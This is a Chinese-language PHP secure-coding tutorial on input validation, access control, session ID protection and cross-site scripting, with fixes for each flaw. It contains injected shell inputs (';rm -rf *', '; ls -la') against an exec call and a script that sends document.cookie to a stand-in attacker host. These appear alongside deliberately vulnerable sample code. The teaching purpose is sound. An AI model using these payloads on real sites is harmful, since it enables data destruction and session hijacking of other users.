对于快速发展的动态网页而言, PHP 是一种了不起的语言。 PHP 也具有对初级程序员友好的特点,比如 PHP 就不需要动态声明。然而,这些特征可能导致一个程序员无意地让安全漏洞潜入到 web 应用程序中。在 PHP 应用中,流行的安全邮件列表就出现大量被证实的漏洞,但是一旦你明白 PHP 应用程序中常见的几种漏洞的基本类型,那你将发现它和其他语言是同样安全的。
在这篇文章中,我将详细地介绍会导致安全漏洞的几种常用见的 PHP 程序缺陷。通过向你们展示什么 是不能做的,并且如何利用每个特定的缺陷,我希望你们不仅仅能明白怎样避免这些特定的缺陷,而且为什么这些错误能导致安全漏洞。
明白每个可能出现的缺陷,将帮助你们避免在 PHP 应用程序中产生同样的错误。
安全是一个过程,不是一个产品在应用程序开发 过程中采用对安全有益的方法可以让你生成更紧密,更健壮的代码。
(一) 未校验输入缺陷
如果不是最常见的 PHP 安全漏洞,也是其中之一的,就是未校验输入错误。提供数据的用户是根本不能信任的。你应该假定你的 web 应用程序的用户个个都是心怀叵测的,因为他们中的一些就是那样的。未校验或不正确验证输入是被一些漏洞所利用 的根源,我们将在本文后面进行讨论。
例如,你可能写一个允许用户查看日历的如下代码,通过调用 UNIX 的 cal 命令来显示指定月份。
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
此代码具有一个安全漏洞缝隙,因为没有以任何的方式来验证 $_GET[month] 和 $_GET[year] 变量。只要那个特定的月份是在 1 到 12 之间,并且提供一个合适的四位数年份,那这个应用程序将完美运行。然而,恶意用户可能追加 “; ls - la” 到年参数,从而看到您网站的 HTML 目录列表。一个极端恶劣的用户可能追加 ";rm -rf *" 到年参数,且删除整个网站 !
纠正这种错误的合适的方法就是确保你从用户接受的输入是你期望得到的。不用为这种错误使用 JavaScript 验证,创造他们自己形式 javascript 或是禁用 javascript 的开发者是很容易处理如此的验证方法的。为确保输入月份和年份是数字,且只有数字,你需要添加 PHP 代码,如下所示。
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
不用担心用户提供影响你应用程序的输入或是运行输入的服务器,你能安全地使用代码。正则表达式是一个很棒的验证输入的工具。尽管难以掌握它,但在这种情况下是非常有用的。
你应该总是通过拒绝与你期望数据不相符合的数据,来验证你的用户提供的数据。永远都不要使用在你知道 期望数据是有害的情况下仍然接受此数据的方法,此方法是安全漏洞的共同来源。有时,恶意的用户能避开此种方法,例如,用空字符来掩盖坏输入的方法。如此的输入将通过检查,但是它仍然具有坏的影响。
当你验证任何输入时,你应当尽可能的严格。如果有一些没必要包含的字符,可能的话,你应该要么去除那些无用的字符,要么完全拒绝输入。
(二) 访问控制缺陷
另一个缺陷,不一定限于 PHP 应用程序,但仍然是重要的,是访问控制的脆弱性类型。当你的应用程序的某些部分的应用是限定于某些用户的时候,这种缺陷就出现了,如,一个允许更改配置设置或显示敏感信息的管理页面。
你应该检查每个你的 PHP 应用程序页面限制加载的用户的访问权利。如果你仅仅只检查在索引页面的用户证书,那么一个恶意的用户能直接进入一个“更深层”网页的链接,这将跳过证书检查的过程。
如,如果你的网站有攻击用户的可预测 IP 或固定 IP 地址,则可以通过限制用户访问该用户的基本 IP 地址和他们用户的名字在你程序的安全层上是有利的。放置你的受限制的网页在一个由 apache .htaccess 文件保护的独立的目录里也是一个好的做法。
将配置文件放置在你 web 访问目录的外面。一个配置文件包含数据库 密码和其他一些能被恶意用户用来渗透或者破坏你站点的信息;从来不让远程用户访问这些文件。使用 PHP 的 include 函数来包含这些来自不可 web 访问的目录的文件,万一这个目录曾因管理员误操作而产生 web 访问 ,这可能包括含有“否定一切”的 an.htaccess 文件。尽管分层安全是多余的,但是它是一件积极的事情。
对于我的 PHP 应用程序,我更喜欢基于一下样本的目录结构。所有的功能库,类和配置文件存储在 includes 目录里。这些 include 文件总是以 a.php 扩展名命名,因此即便是跳过所有你的保护, web 服务器将解析 PHP 代码,且不会将它显示给用户。 www 和管理目录是唯一的目录,它们的文件由一个 URL 直接被访问,管理目录由 an.htaccess 文件所保护,这个文件只允许知道用户名和密码的用户进入,且这些密码存储在站点根目录中的 .htpasswd 文件里。
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
你应该设置你的 Apache 目录索引到“ index.php ” , 并且在每个目录中保持一个 index.php 文件。如果不能浏览目录,如一个图片目录或是相似的目录,则设置 Apache 目录来重定向你的主页。永远都不要通过增加 .bak 或其他扩展到文件名复制一个 php 文件在你的公开的 web 目录里。根据你使用的 web 服务器( Apache 幸而似乎对此服务器有一定保障),此服务器不会解析文件中的 PHP 代码,可能作为资源输出给碰巧得到拷贝文件 URL 的用户。如果那个文件包含密码或是其他隐秘信息,此文件将是可读的,如果碰巧给黑客发现,那此文件可能甚至不被 Google 索引。将文件重命名为 a.bak.php 的扩展比套接 a.bak 到 .php 扩展要更安全,但是最好的解决方法是使用一个源代码版本控制系统比如 CVS 。尽管 CVS 学起来很难,但是你花费的时间将在许多方面得到补偿。该系统节省你项目中的每个文件的每个版本,当此后要改变导致的问题时,它能具有无法估量的价值。
(三) 会话 ID 保护
拦截会话 ID 是 PHP 网站的一个问题。 PHP 会话跟踪组建为每一个用户会话使用唯一的 ID ,但是如果其他用户知道了这个 ID ,此用户能拦截这个 ID 的用户会话并能看到秘密信息。拦截会话 ID 是完全不能被阻止的,你应该知道一些风险以便减轻他们。
例如,甚至在给用户验证和分配了一个会话 ID 后,当他或是她进行任何高度敏感行为时,如重设密码哦,你都应该重新验证该用户。如,绝不允许一个会话验证的用户没有进入旧的密码就能进入一个新的密码。你也应该避免呈现真正的秘密数据给只被会话 ID 验证的用户,如信用卡号。
应该使用 session_regenerate_id 函数为通过登陆创建新会话的用户安排一个新的会话 ID 。一个拦截用户将试图用他之前的会话 ID 登陆,如果在登陆时设置你的 ID ,就会阻止此事情的发生。
如果你的站点正处理很重要的信息,如信用卡,必须一直使用一个 SSL 安全连接。由于不能发现会话 ID 且不容易拦截它,这将减少会话拦截的漏洞。如果你的网站运行在共享的 Web 服务器上,要知道,在同一服务器上的任何其他用户都很容易地查看任何会话变量。通过在数据库记录中存储所有的敏感数据来减轻这个漏洞,此数据库记录关键在于会话 ID 而不是作为会话变量。如果你必须在会话变量中存储密码(我再次强调,避免出现这种情况是最好的),不要在明文中存储密码;使用 sha1() (PHP 4.3+) or md5() 函数来存储密码的哈希值来代替。
if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
以上代码是不安全的,因为密码存储在会话变量的明文中。相反,更可能像这样使用代码:
if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}
SHA-1 算法并不是没有缺陷,计算机能力的发展使得它有可能产生碰撞(同一 SHA-1 总数具有不同字符串)。然而此技术存储密码仍然大大优于在明文中存储密码。如果你必须使用 MD5 ,因为这优于明文中存储密码,但是请记住,近来的发展已经使它在标准的 PC 硬件上可能不到一小时就产生 MD5 碰撞。理想情况下,应该使用一个函数来实现 SHA-256 ,如此的函数在当前是与 PHP 相独立的。
为了进一步了解哈希碰撞,在其他一些与安全相关的主题中, Bruce Schneier's Website 是最好的资源。
(四) 跨站点脚本( XSS )缺陷
跨站点脚本或 XSS 缺陷是用户验证的子集,一个恶意的用户在被呈现的且被其他用户执行的数据里嵌入脚本命令 — 通常是 JavaScript 。
例如,如果你的应用程序包含一个论坛,在此论坛里,人们发出的消息能被其他用户看到,恶意用户可以嵌入一个 <script> 标签,如下所示,这将刷新页面到他们控制的站点,将你的 cookie 和会话信息作为 GET 变量传到他们的网页,然后就像什么事都没发生一样刷新页面。因此恶意用户就能收集其他用户的 cookie 和会话信息,并且在你的站点使用会话拦截或其他攻击得到的数据。
<script>
document.location =
'http://www.badguys.com/cgi-bin/cookie.php?' +
document.cookie;
</script>
为了阻止这类攻击的出现,你必须在网页中小心地显示用户提交的字面内容。防范这最容易的方法就是只要避免组成 HTML 语法的字符(特别是 < 和 > )到 HTML 字符实体 (< 和 >) ,以便为了显示将提交的数据作为明文看待。通过 PHP 的 htmlspecialchars 函数传递数据仅仅就像你正在输出一样。
如果你的应用程序要求你的用户可以提交 HTML 内容,并将它当成这样,你反而会需要过滤出像 <script> 一样可能具有潜在危险的标签。当第一次提交内容时就过滤标签是最好的,这将需要一点正则表达式的诀窍。
在 cgisecurity.com 上的 The Cross Site Scripting FAQ 提供更多这类缺陷的信息和北京并更详细的描述。我强烈推荐阅读和理解它。当编写 PHP 应用程序时,是很难发现 XSS 缺陷的,且是比较容易发生的错误之一,这由发生在流行安全邮件列表上的大量 XSS 警告所体现。